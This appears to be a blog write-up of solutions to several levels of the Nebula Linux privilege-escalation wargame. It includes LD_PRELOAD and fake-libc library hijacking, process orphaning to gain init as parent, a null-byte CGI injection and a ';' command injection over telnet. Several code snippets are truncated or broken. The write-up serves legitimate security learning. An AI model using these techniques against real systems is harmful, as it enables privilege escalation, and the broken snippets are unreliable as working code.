Nebula – Level 13

Congrats to Sarah Diesburg for solving this challenge !

I got the idea from a forum post. Basically, you can make your own library calls be called before the standard C library calls by creating your own library and loading it first using the $LD_PRELOAD environmental variable.

I modified the code slightly to just return 1000, which was the UID that the flag13 binary was looking for. Unfortunately, this didn’t work. Apparently LD_PRELOAD is ignored if the real and effective IDs don’t match. They didn’t match in our case, since the flag13 binary had the setuid bit. We bypassed this problem by copying the flag13 binary into our own home directory (level13). That reset the binary’s permissions and got rid of the setuid bit. We then loaded our fake library with our script and ran our version of the binary, which gave us the token.

level13@nebula:~$ ./ nebula ./flag13
The User: nebula The UID : 1000 your token is b705702b-76a8-42b0-8844-3adabbe5ac58

Nebula – Level 19

Level 19 is another access/file trickery. The code only does interesting stuff if its parent is perceived to be a root processes. Luckily, init is run as root thus, if we start flag19 as a child and then kill the parent (don’t wait on the child); init becomes the parent (orphan processes policy).

#include <unistd.h>     /* Symbolic Constants */
#include <sys/types.h>  /* Primitive System Data Types */
#include <errno.h>      /* Errors */
#include <stdio.h>      /* Input/Output */
#include <sys/wait.h>   /* Wait for Process Termination */
#include <stdlib.h>     /* General Utilities */

int main() {
    pid_t childpid; /* variable to store the child's pid */
    int retval;     /* child process: user-provided return code */
    int status;     /* parent process: child's exit status */

    childpid = fork();

    if (childpid >= 0) { // success
        if (childpid == 0) {    // child
        char cmd[] = "/home/flag19/flag19";
            //char *args1[] = { cmd, "-c", "touch /home/flag19/team_awesome", NULL };
            char *args1[] = { "/bin/sh", "-c", "touch /home/flag19/team_awesome", NULL };
            char *args2[] = { NULL };
            execve(cmd, args1, args2);

        } else {    // parent
        //waitpid(childpid, &status, 0);

Nebula – Level 16

nc 1616
GET /index.cgi?password=team_awesome&username=-"%00
ctrl + D

This challenge exploits arbitrary code execution and early string termination. Our assumption about the completion of this challenge is to get the perl server code to enter the “Set cookie” section.

Nebula – Level 15

There seem to be a few ways to solve this challenge. We chose to keep hacking on a chosen way until it worked. Basically, the flag15 program searches for libc in locations that we have the privilege to write. We place a shared library in a directory that flag15 is looking through so that it loads our library instead of the standard libc. The super duper tricky parts are: (1) making the library look like libc, (2) choosing a function that will get triggered from flag15, (2b) doing useful work in the trigger function.

1. Making the library look like libc required the version.script file
2. Many functions could be chosen. We went for an init level function.
2b. The super duper tricky part is that, without glibc, you don’t even have access to system calls. When we first started hacking on this exploit we intended to call a system call via assembly. This proved to be too hard (given our limited asm background). The solution provided links in libc’s static library so that we at least get the syscall() abstraction.


# lib.c
#include <stdio.h>
#include <linux/unistd.h>
#include <sys/syscall.h>

void __cxa_finalize (void *d) {
//    dlopen("/lib/i386-linux-gnu/", RTLD_LAZY);

void __attribute__ ((constructor)) load_lib(void) {
//    dlopen("/lib/i386-linux-gnu/", RTLD_LAZY);

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
	char cmd[] = "/usr/bin/touch";
	char *arg1[] = { cmd, "/home/flag15/team_awesome", NULL };
	char *arg2[] = { NULL };
	syscall(__NR_execve, cmd, arg1, arg2);


	gcc -fPIC -c lib.c -o lib.o
	gcc -shared -Wl,-Bstatic,-soname,,--version-script,version.script -o lib.o -L/usr/lib/i386-linux-gnu/ -static -lc

	rm -f *.so *.o
#gcc -shared -Wl,-Bstatic,-soname,,--version-script,version.script,--whole-archive -o lib.o -L/usr/lib/i386-linux-gnu/ -static-libgcc -lc


GLIBC_2.0 {

Nebula – Level 14

Solution: 81415171c1111181-1818171c1-141e14101-1a151a161-13131a12151315131116151
and there is an invisible 0x0B at the end.

The encryption algorithm ads the array index position to the ascii value of the input character.

my $line = ;
my @lines;

for ($i=0; $i < length($line); $i++) {
    $lines[$i] = chr(ord(substr($line,$i,1)) - $i);
my $res = join(//, @lines);
print $res;

Nebula – Level 12

Program 12 is susceptible to arbitrary code execution. Languages that allow shell code execution via open() calls are often misused by programmers when they directly pass in a user parameter without a filter applied. To exploit this particular code you need only to end the echo command with a ‘;’ then append the command that you would like to run.

telnet localhost 50001
; echo "team awesome" > /home/flag12/team_awesome